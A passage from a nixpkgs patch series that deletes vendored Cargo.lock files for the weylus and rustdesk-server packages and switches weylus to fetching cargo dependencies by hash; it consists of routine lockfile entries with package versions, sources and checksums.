-checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519"
-
-[[package]]
-name = "wasi"
-version = "0.11.0+wasi-snapshot-preview1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
-
-[[package]]
-name = "weylus"
-version = "0.11.4"
-dependencies = [
- "autopilot",
- "bitflags 2.6.0",
- "bytes",
- "captrs",
- "cc",
- "clap",
- "clap_complete",
- "core-foundation 0.10.0",
- "core-graphics 0.24.0",
- "dbus",
- "dirs",
- "fastwebsockets",
- "fltk",
- "fltk-theme",
- "gstreamer",
- "gstreamer-app",
- "gstreamer-video",
- "handlebars",
- "http-body-util",
- "hyper",
- "hyper-util",
- "image 0.22.5",
- "image 0.25.2",
- "num_cpus",
- "percent-encoding",
- "pnet_datalink",
- "qrcode",
- "rand 0.8.5",
- "serde",
- "serde_json",
- "signal-hook",
- "tokio",
- "toml",
- "tracing",
- "tracing-subscriber",
- "url",
- "winapi",
- "wio",
-]
-
-[[package]]
-name = "winapi"
-version = "0.3.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-dependencies = [
- "winapi-i686-pc-windows-gnu",
- "winapi-x86_64-pc-windows-gnu",
-]
-
-[[package]]
-name = "winapi-i686-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-
-[[package]]
-name = "winapi-x86_64-pc-windows-gnu"
-version = "0.4.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-
-[[package]]
-name = "windows-sys"
-version = "0.48.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9"
-dependencies = [
- "windows-targets 0.48.5",
-]
-
-[[package]]
-name = "windows-sys"
-version = "0.52.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
-dependencies = [
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c"
-dependencies = [
- "windows_aarch64_gnullvm 0.48.5",
- "windows_aarch64_msvc 0.48.5",
- "windows_i686_gnu 0.48.5",
- "windows_i686_msvc 0.48.5",
- "windows_x86_64_gnu 0.48.5",
- "windows_x86_64_gnullvm 0.48.5",
- "windows_x86_64_msvc 0.48.5",
-]
-
-[[package]]
-name = "windows-targets"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
-dependencies = [
- "windows_aarch64_gnullvm 0.52.6",
- "windows_aarch64_msvc 0.52.6",
- "windows_i686_gnu 0.52.6",
- "windows_i686_gnullvm",
- "windows_i686_msvc 0.52.6",
- "windows_x86_64_gnu 0.52.6",
- "windows_x86_64_gnullvm 0.52.6",
- "windows_x86_64_msvc 0.52.6",
-]
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8"
-
-[[package]]
-name = "windows_aarch64_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc"
-
-[[package]]
-name = "windows_aarch64_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e"
-
-[[package]]
-name = "windows_i686_gnu"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
-
-[[package]]
-name = "windows_i686_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406"
-
-[[package]]
-name = "windows_i686_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e"
-
-[[package]]
-name = "windows_x86_64_gnu"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc"
-
-[[package]]
-name = "windows_x86_64_gnullvm"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.48.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538"
-
-[[package]]
-name = "windows_x86_64_msvc"
-version = "0.52.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
-
-[[package]]
-name = "winnow"
-version = "0.6.19"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c52ac009d615e79296318c1bcce2d422aaca15ad08515e344feeda07df67a587"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "wio"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5d129932f4644ac2396cb456385cbf9e63b5b30c6e8dc4820bdca4eb082037a5"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "x11"
-version = "2.21.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e"
-dependencies = [
- "libc",
- "pkg-config",
-]
-
-[[package]]
-name = "x11cap"
-version = "0.4.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "16ccedf556cb1f784d462dd8f24a7804f766d57c0051439d3e4052465263c399"
-dependencies = [
- "libc",
- "x11",
-]
-
-[[package]]
-name = "zerocopy"
-version = "0.7.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0"
-dependencies = [
- "byteorder",
- "zerocopy-derive",
-]
-
-[[package]]
-name = "zerocopy-derive"
-version = "0.7.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e"
-dependencies = [
- "proc-macro2 1.0.86",
- "quote 1.0.37",
- "syn 2.0.77",
-]
diff --git a/pkgs/by-name/we/weylus/package.nix b/pkgs/by-name/we/weylus/package.nix
index 84503f5ad33e..24a6ba2067e4 100644
--- a/pkgs/by-name/we/weylus/package.nix
+++ b/pkgs/by-name/we/weylus/package.nix
@@ -73,12 +73,8 @@ rustPlatform.buildRustPackage rec {
       libtool
     ];
 
-  cargoLock = {
-    lockFile = ./Cargo.lock;
-    outputHashes = {
-      "autopilot-0.4.0" = "sha256-1DRuhAAXaIADUmXlDVr8UNbI/Ab2PYdrx9Qh0j9rTX8=";
-    };
-  };
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-dLhlYOrLjoBSRGDJB0qTEIb+oGnp9X+ADHddpYITdl8=";
 
   cargoBuildFlags = [ "--features=ffmpeg-system" ];
   cargoTestFlags = [ "--features=ffmpeg-system" ];

From 6427e4a6eca717061a33f10618c5c5a51cd9cb26 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Wed, 14 May 2025 01:18:24 +0200
Subject: [PATCH 0018/4511] rustdesk-server: don't vendor Cargo.lock

(cherry picked from commit 89a6665f9be0650dc3c708a09abe73172fd63ffa)
---
 pkgs/by-name/ru/rustdesk-server/Cargo.lock  | 3861 -------------------
 pkgs/by-name/ru/rustdesk-server/package.nix |   14 +-
 2 files changed, 2 insertions(+), 3873 deletions(-)
 delete mode 100644 pkgs/by-name/ru/rustdesk-server/Cargo.lock

diff --git a/pkgs/by-name/ru/rustdesk-server/Cargo.lock b/pkgs/by-name/ru/rustdesk-server/Cargo.lock
deleted file mode 100644
index a87da66a2922..000000000000
--- a/pkgs/by-name/ru/rustdesk-server/Cargo.lock
+++ /dev/null
@@ -1,3861 +0,0 @@
-# This file is automatically @generated by Cargo.
-# It is not intended for manual editing.
-version = 4
-
-[[package]]
-name = "addr2line"
-version = "0.24.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dfbe277e56a376000877090da837660b4427aad530e3028d44e0bffe4f89a1c1"
-dependencies = [
- "gimli",
-]
-
-[[package]]
-name = "adler2"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "512761e0bb2578dd7380c6baaa0f4ce03e84f95e960231d1dec8bf4d7d6e2627"
-
-[[package]]
-name = "ahash"
-version = "0.7.6"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "fcb51a0695d8f838b1ee009b3fbf66bda078cd64590202a864a8f3e8c4315c47"
-dependencies = [
- "getrandom",
- "once_cell",
- "version_check",
-]
-
-[[package]]
-name = "aho-corasick"
-version = "1.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8e60d3430d3a69478ad0993f19238d2df97c507009a52b3c10addcd7f6bcb916"
-dependencies = [
- "memchr",
-]
-
-[[package]]
-name = "android-tzdata"
-version = "0.1.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e999941b234f3131b00bc13c22d06e8c5ff726d1b6318ac7eb276997bbb4fef0"
-
-[[package]]
-name = "android_system_properties"
-version = "0.1.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "ansi_term"
-version = "0.12.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d52a9bb7ec0cf484c551830a7ce27bd20d67eac647e1befb56b0be4ee39a55d2"
-dependencies = [
- "winapi",
-]
-
-[[package]]
-name = "anyhow"
-version = "1.0.57"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "08f9b8508dccb7687a1d6c4ce66b2b0ecef467c94667de27d8d7fe1f8d2a9cdc"
-
-[[package]]
-name = "arrayvec"
-version = "0.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "23b62fc65de8e4e7f52534fb52b0f3ed04746ae267519eef2a83941e8085068b"
-
-[[package]]
-name = "async-compression"
-version = "0.4.18"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "df895a515f70646414f4b45c0b79082783b80552b373a68283012928df56f522"
-dependencies = [
- "flate2",
- "futures-core",
- "memchr",
- "pin-project-lite",
- "tokio",
-]
-
-[[package]]
-name = "async-speed-limit"
-version = "0.3.1"
-source = "git+https://github.com/open-trade/async-speed-limit#f89f702ae01d4016429543d2f0dda1086157e420"
-dependencies = [
- "futures-core",
- "futures-io",
- "futures-timer",
- "pin-project-lite",
-]
-
-[[package]]
-name = "async-trait"
-version = "0.1.53"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ed6aa3524a2dfcf9fe180c51eae2b58738348d819517ceadf95789c51fff7600"
-dependencies = [
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "syn 1.0.93",
-]
-
-[[package]]
-name = "atoi"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d7c57d12312ff59c811c0643f4d80830505833c9ffaebd193d819392b265be8e"
-dependencies = [
- "num-traits",
-]
-
-[[package]]
-name = "atty"
-version = "0.2.14"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
-dependencies = [
- "hermit-abi 0.1.19",
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "autocfg"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d468802bab17cbc0cc575e9b053f41e72aa36bfa6b7f55e3529ffa43161b97fa"
-
-[[package]]
-name = "axum"
-version = "0.5.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "00f1e8a972137fad81e2a1a60b86ff17ce0338f8017264e45a9723d0083c39a1"
-dependencies = [
- "async-trait",
- "axum-core",
- "bitflags 1.3.2",
- "bytes",
- "futures-util",
- "headers",
- "http",
- "http-body",
- "hyper",
- "itoa",
- "matchit",
- "memchr",
- "mime",
- "percent-encoding",
- "pin-project-lite",
- "serde",
- "serde_json",
- "serde_urlencoded",
- "sync_wrapper",
- "tokio",
- "tower",
- "tower-http",
- "tower-layer",
- "tower-service",
-]
-
-[[package]]
-name = "axum-core"
-version = "0.2.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "da31c0ed7b4690e2c78fe4b880d21cd7db04a346ebc658b4270251b695437f17"
-dependencies = [
- "async-trait",
- "bytes",
- "futures-util",
- "http",
- "http-body",
- "mime",
-]
-
-[[package]]
-name = "backtrace"
-version = "0.3.74"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "8d82cb332cdfaed17ae235a638438ac4d4839913cc2af585c3c6746e8f8bee1a"
-dependencies = [
- "addr2line",
- "cfg-if",
- "libc",
- "miniz_oxide",
- "object",
- "rustc-demangle",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "base64"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "904dfeac50f3cdaba28fc6f57fdcddb75f49ed61346676a78c4ffe55877802fd"
-
-[[package]]
-name = "base64"
-version = "0.21.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567"
-
-[[package]]
-name = "base64"
-version = "0.22.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6"
-
-[[package]]
-name = "bcrypt"
-version = "0.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a7e7c93a3fb23b2fdde989b2c9ec4dd153063ec81f408507f84c090cd91c6641"
-dependencies = [
- "base64 0.13.0",
- "blowfish",
- "getrandom",
- "zeroize",
-]
-
-[[package]]
-name = "bindgen"
-version = "0.59.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2bd2a9a458e8f4304c52c43ebb0cfbd520289f8379a52e329a38afda99bf8eb8"
-dependencies = [
- "bitflags 1.3.2",
- "cexpr",
- "clang-sys",
- "clap",
- "env_logger 0.9.0",
- "lazy_static",
- "lazycell",
- "log",
- "peeking_take_while",
- "proc-macro2 1.0.93",
- "quote 1.0.38",
- "regex",
- "rustc-hash",
- "shlex",
- "which",
-]
-
-[[package]]
-name = "bitflags"
-version = "1.3.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
-
-[[package]]
-name = "bitflags"
-version = "2.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1be3f42a67d6d345ecd59f675f3f012d6974981560836e938c22b424b85ce1be"
-
-[[package]]
-name = "block-buffer"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0bf7fe51849ea569fd452f37822f606a5cabb684dc918707a0193fd4664ff324"
-dependencies = [
- "generic-array",
-]
-
-[[package]]
-name = "blowfish"
-version = "0.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7"
-dependencies = [
- "byteorder",
- "cipher",
-]
-
-[[package]]
-name = "bumpalo"
-version = "3.9.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a4a45a46ab1f2412e53d3a0ade76ffad2025804294569aae387231a0cd6e0899"
-
-[[package]]
-name = "byteorder"
-version = "1.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "14c189c53d098945499cdfa7ecc63567cf3886b3332b312a5b4585d8d3a6a610"
-
-[[package]]
-name = "bytes"
-version = "1.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "325918d6fe32f23b19878fe4b34794ae41fc19ddbe53b10571a4874d44ffd39b"
-dependencies = [
- "serde",
-]
-
-[[package]]
-name = "cc"
-version = "1.2.9"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "c8293772165d9345bdaaa39b45b2109591e63fe5e6fbc23c6ff930a048aa310b"
-dependencies = [
- "jobserver",
- "libc",
- "shlex",
-]
-
-[[package]]
-name = "cesu8"
-version = "1.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6d43a04d8753f35258c91f8ec639f792891f748a1edbd759cf1dcea3382ad83c"
-
-[[package]]
-name = "cexpr"
-version = "0.6.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
-dependencies = [
- "nom 7.1.1",
-]
-
-[[package]]
-name = "cfg-if"
-version = "1.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
-
-[[package]]
-name = "chrono"
-version = "0.4.39"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "7e36cc9d416881d2e24f9a963be5fb1cd90966419ac844274161d10488b3e825"
-dependencies = [
- "android-tzdata",
- "iana-time-zone",
- "js-sys",
- "num-traits",
- "wasm-bindgen",
- "windows-targets 0.52.6",
-]
-
-[[package]]
-name = "cipher"
-version = "0.4.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d1873270f8f7942c191139cb8a40fd228da6c3fd2fc376d7e92d47aa14aeb59e"
-dependencies = [
- "crypto-common",
- "inout",
-]
-
-[[package]]
-name = "clang-sys"
-version = "1.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b023947811758c97c59bf9d1c188fd619ad4718dcaa767947df1cadb14f39f4"
-dependencies = [
- "glob",
- "libc",
- "libloading",
-]
-
-[[package]]
-name = "clap"
-version = "2.34.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a0610544180c38b88101fecf2dd634b174a62eef6946f84dfc6a7127512b381c"
-dependencies = [
- "ansi_term",
- "atty",
- "bitflags 1.3.2",
- "strsim",
- "textwrap",
- "unicode-width",
- "vec_map",
-]
-
-[[package]]
-name = "combine"
-version = "4.6.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ba5a308b75df32fe02788e748662718f03fde005016435c444eea572398219fd"
-dependencies = [
- "bytes",
- "memchr",
-]
-
-[[package]]
-name = "config"
-version = "0.11.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1b1b9d958c2b1368a663f05538fc1b5975adce1e19f435acceae987aceeeb369"
-dependencies = [
- "lazy_static",
- "nom 5.1.2",
- "serde",
-]
-
-[[package]]
-name = "confy"
-version = "0.4.0-2"
-source = "git+https://github.com/rustdesk-org/confy#83db9ec19a2f97e9718aef69e4fc5611bb382479"
-dependencies = [
- "directories-next",
- "serde",
- "thiserror",
- "toml 0.5.9",
-]
-
-[[package]]
-name = "core-foundation"
-version = "0.9.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "91e195e091a93c46f7102ec7818a2aa394e1e1771c3ab4825963fa03e45afb8f"
-dependencies = [
- "core-foundation-sys",
- "libc",
-]
-
-[[package]]
-name = "core-foundation-sys"
-version = "0.8.7"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b"
-
-[[package]]
-name = "cpufeatures"
-version = "0.2.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "59a6001667ab124aebae2a495118e11d30984c3a653e99d86d58971708cf5e4b"
-dependencies = [
- "libc",
-]
-
-[[package]]
-name = "crc"
-version = "3.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53757d12b596c16c78b83458d732a5d1a17ab3f53f2f7412f6fb57cc8a140ab3"
-dependencies = [
- "crc-catalog",
-]
-
-[[package]]
-name = "crc-catalog"
-version = "2.1.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "2d0165d2900ae6778e36e80bbc4da3b5eefccee9ba939761f9c2882a5d9af3ff"
-
-[[package]]
-name = "crc32fast"
-version = "1.4.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a97769d94ddab943e4510d138150169a2758b5ef3eb191a9ee688de3e23ef7b3"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "crossbeam"
-version = "0.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ae5588f6b3c3cb05239e90bd110f257254aecd01e4635400391aeae07497845"
-dependencies = [
- "cfg-if",
- "crossbeam-channel",
- "crossbeam-deque",
- "crossbeam-epoch",
- "crossbeam-queue",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-channel"
-version = "0.5.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5aaa7bd5fb665c6864b5f963dd9097905c54125909c7aa94c9e18507cdbe6c53"
-dependencies = [
- "cfg-if",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-deque"
-version = "0.8.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6455c0ca19f0d2fbf751b908d5c55c1f5cbc65e03c4225427254b46890bdde1e"
-dependencies = [
- "cfg-if",
- "crossbeam-epoch",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-epoch"
-version = "0.9.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1145cf131a2c6ba0615079ab6a638f7e1973ac9c2634fcbeaaad6114246efe8c"
-dependencies = [
- "autocfg",
- "cfg-if",
- "crossbeam-utils",
- "lazy_static",
- "memoffset",
- "scopeguard",
-]
-
-[[package]]
-name = "crossbeam-queue"
-version = "0.3.5"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "1f25d8400f4a7a5778f0e4e52384a48cbd9b5c495d110786187fc750075277a2"
-dependencies = [
- "cfg-if",
- "crossbeam-utils",
-]
-
-[[package]]
-name = "crossbeam-utils"
-version = "0.8.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0bf124c720b7686e3c2663cf54062ab0f68a88af2fb6a030e87e30bf721fcb38"
-dependencies = [
- "cfg-if",
- "lazy_static",
-]
-
-[[package]]
-name = "crypto-common"
-version = "0.1.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "57952ca27b5e3606ff4dd79b0020231aaf9d6aa76dc05fd30137538c50bd3ce8"
-dependencies = [
- "generic-array",
- "typenum",
-]
-
-[[package]]
-name = "deadpool"
-version = "0.8.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "ef82259c587bceda08349f28ff00f69ae4c897898f254140af6021eb218e8232"
-dependencies = [
- "async-trait",
- "config",
- "num_cpus",
- "serde",
- "tokio",
-]
-
-[[package]]
-name = "default_net"
-version = "0.1.0"
-source = "git+https://github.com/rustdesk-org/default_net#78f8f70cd85151a3a2c4a3230d80d5272703c02e"
-dependencies = [
- "anyhow",
- "regex",
- "winapi",
-]
-
-[[package]]
-name = "digest"
-version = "0.10.3"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f2fb860ca6fafa5552fb6d0e816a69c8e49f0908bf524e30a90d97c85892d506"
-dependencies = [
- "block-buffer",
- "crypto-common",
-]
-
-[[package]]
-name = "directories-next"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "339ee130d97a610ea5a5872d2bbb130fdf68884ff09d3028b81bec8a1ac23bbc"
-dependencies = [
- "cfg-if",
- "dirs-sys-next",
-]
-
-[[package]]
-name = "dirs-next"
-version = "2.0.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b98cf8ebf19c3d1b223e151f99a4f9f0690dca41414773390fc824184ac833e1"
-dependencies = [
- "cfg-if",
- "dirs-sys-next",
-]
-
-[[package]]
-name = "dirs-sys-next"
-version = "0.1.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4ebda144c4fe02d1f7ea1a7d9641b6fc6b580adcfa024ae48797ecdeb6825b4d"
-dependencies = [
- "libc",
- "redox_users",
- "winapi",
-]
-
-[[package]]
-name = "dlopen"
-version = "0.1.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "71e80ad39f814a9abe68583cd50a2d45c8a67561c3361ab8da240587dda80937"
-dependencies = [
- "dlopen_derive",
- "lazy_static",
- "libc",
- "winapi",
-]
-
-[[package]]
-name = "dlopen_derive"
-version = "0.1.4"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f236d9e1b1fbd81cea0f9cbdc8dcc7e8ebcd80e6659cd7cb2ad5f6c05946c581"
-dependencies = [
- "libc",
- "quote 0.6.13",
- "syn 0.15.44",
-]
-
-[[package]]
-name = "dlv-list"
-version = "0.3.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0688c2a7f92e427f44895cd63841bff7b29f8d7a1648b9e7e07a4a365b2e1257"
-
-[[package]]
-name = "dns-lookup"
-version = "1.0.8"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "53ecafc952c4528d9b51a458d1a8904b81783feff9fde08ab6ed2545ff396872"
-dependencies = [
- "cfg-if",
- "libc",
- "socket2 0.4.4",
- "winapi",
-]
-
-[[package]]
-name = "dotenv"
-version = "0.15.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77c90badedccf4105eca100756a0b1289e191f6fcbdadd3cee1d2f614f97da8f"
-
-[[package]]
-name = "ed25519"
-version = "1.5.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "d916019f70ae3a1faa1195685e290287f39207d38e6dfee727197cffcc002214"
-dependencies = [
- "signature",
-]
-
-[[package]]
-name = "either"
-version = "1.13.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "60b1af1c220855b6ceac025d3f6ecdd2b7c4894bfe9cd9bda4fbb4bc7c0d4cf0"
-
-[[package]]
-name = "encoding_rs"
-version = "0.8.35"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3"
-dependencies = [
- "cfg-if",
-]
-
-[[package]]
-name = "env_logger"
-version = "0.9.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "0b2cf0344971ee6c64c31be0d530793fba457d322dfec2810c453d0ef228f9c3"
-dependencies = [
- "atty",
- "humantime",
- "log",
- "regex",
- "termcolor",
-]
-
-[[package]]
-name = "env_logger"
-version = "0.10.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "4cd405aab171cb85d6735e5c8d9db038c17d3ca007a4d2c25f337935c3d90580"
-dependencies = [
- "humantime",
- "is-terminal",
- "log",
- "regex",
- "termcolor",
-]
-
-[[package]]
-name = "equivalent"
-version = "1.0.1"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5443807d6dff69373d433ab9ef5378ad8df50ca6298caf15de6e52e24aaf54d5"
-
-[[package]]
-name = "event-listener"
-version = "2.5.2"
-source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "77f3309417938f28bf8228fcff79a4a37103981e3e186d2ccd19c74b38f4eb71"
-
-[[package]]
-name = "fastrand"
-version = "1.7.0"
-source = "registry+https://github.com/rust-lang/crates.io-index"
